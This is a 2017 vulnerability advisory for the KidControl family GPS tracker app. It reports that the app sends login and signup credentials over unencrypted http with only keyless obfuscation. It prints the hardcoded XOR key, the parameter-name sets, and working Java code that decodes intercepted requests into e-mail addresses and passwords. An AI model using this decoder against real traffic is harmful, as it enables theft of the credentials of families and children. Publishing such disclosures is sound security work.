SIK-2017-014


Title:

Insecure Login in KidControl GPS Tracker App

Report ID

SIK-2017-014

Summary:

  • Vendor: KidControl Dev.
  • Product: Family GPS tracker Kid Control
  • Affected Version: 3.4.3
  • Severity: High
  • Short summary:
    The app transfers all credentials (login, registration, signup using invitation code) via http and applies some obfuscation instead of proper encryption.

Details:

When the user logs into the app, creates a new account, or uses an invitation code to participate, this data is transferred to the app provider’s backend via an unencrypted and unauthenticated http connection. Attackers can easily intercept this data. The app uses some obfuscation to make it harder to reconstruct the original credentials, but no secret is required to undo this obfuscation.

The data is transmitted using key/value pairs in a get request. For additional obfuscation, the key names are randomly picked. Furthermore, some useless key/value pairs containing garbage are added to fool the analyst. For the following processes, we describe the universes from which those keys are picked. Note that the universes never overlap, so it is always clear where a value belongs. The Values themselves are also obfuscated which we explain below.

Process 1: Sign up using an invitation code

The name is transmitted using one of the following keys (random pick):

nm, raw, mne, dpt, mop, nbt, ram, wvw, cah

The code is transmitted using one of the following keys (random pick):

na, bjn, pll, tkk, gsm, fbt, nod, xos, hnw

Process 2: Log in as an existing user

The e-mail address of the user is transmitted using one of the following keys (random pick):

nl, bhf, mag, bdt, qac, trn, amr, mix, nch

The password of the user is transmitted using one of the following keys (random pick):

df, ssp, fgh, drt, tnd, rfb, rma, vwe, hac

Value obfuscation

The value obfuscation works as follows:

  1. Convert the string to bytes (String.getBytes())
  2. Convert the bytes to a Base64 string
  3. Apply an XOR encryption in ECB mode using the following key: { 107, 99, 35, 97, 112, 112, 35, 107, 101, 121, 35 }
  4. Convert the new string into bytes again (String.getBytes())
  5. Convert the bytes to a Base64 string (attention: URL / MIME mode)

Exploit:

Invitation code:

    private static void decraptInviteCodeData(String[] keyValuePairs) {
        for (String kvPair : keyValuePairs) {
            String[] innerSplit = kvPair.split("=");
            String key = innerSplit[0];
            String value = innerSplit[1];

            // Param0
            if (key.equals("ai") || key.equals("frm") || key.equals("val") || key.equals("dat") || key.equals("aqc")
                    || key.equals("btn") || key.equals("ond") || key.equals("utm") || key.equals("can")) {
                System.out.println("Param0: " + decrapt(value));
            }
            // Param1: Name
            else if (key.equals("nm") || key.equals("raw") || key.equals("mne") || key.equals("dpt")
                    || key.equals("mop") || key.equals("nbt") || key.equals("ram") || key.equals("wvw")
                    || key.equals("cah")) {
                System.out.println("Param1: " + decrapt(value));
            }
            // Param2: Code
            else if (key.equals("na") || key.equals("bjn") || key.equals("pll") || key.equals("tkk")
                    || key.equals("gsm") || key.equals("fbt") || key.equals("nod") || key.equals("xos")
                    || key.equals("hnw")) {
                System.out.println("Param2: " + decrapt(value));
            }
        }
    }

Login with e-mail address and password:

    private static void decraptLoginData(String[] keyValuePairs) {
        for (String kvPair : keyValuePairs) {
            String[] innerSplit = kvPair.split("=");
            String key = innerSplit[0];
            String value = innerSplit[1];

            // E-Mail address
            if (key.equals("nl") || key.equals("bhf") || key.equals("mag") || key.equals("bdt") || key.equals("qac")
                    || key.equals("trn") || key.equals("amr") || key.equals("mix") || key.equals("nch")) {
                System.out.println("E-Mail: " + decrapt(value));
            }
            // Password
            else if (key.equals("df") || key.equals("ssp") || key.equals("fgh") || key.equals("drt")
                    || key.equals("tnd") || key.equals("rfb") || key.equals("rma") || key.equals("vwe")
                    || key.equals("hac")) {
                System.out.println("Password: " + decrapt(value));
            }
        }
    }

Value obfuscation undo:

    private static String decrapt(String value) {
        byte[] key = new byte[] { 107, 99, 35, 97, 112, 112, 35, 107, 101, 121, 35 };

        // Base64 decode input
        byte[] bytes = Base64.getDecoder().decode(value);
        String str = new String(bytes);

        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < str.length(); i++) {
            char c = (char) (str.charAt(i) ^ key[i % key.length]);
            sb.append(c);
        }

        // Once again perform a Base64 decode
        try {
            return new String(Base64.getMimeDecoder().decode(sb.toString().getBytes()));
        } catch (Exception ex) {
            return "<invalid>";
        }
    }

Workaround

None.

Suggested Mitigation

Never implement own „crypto“ algorithms. Use existing well-researched and well-tested technologies such as SSL. Obfuscation does not protect data.

Timeline

  • 2017-04-12: Vulnerability discovered.
  • 2017-05-18: Reported
  • 2018-08-11: Published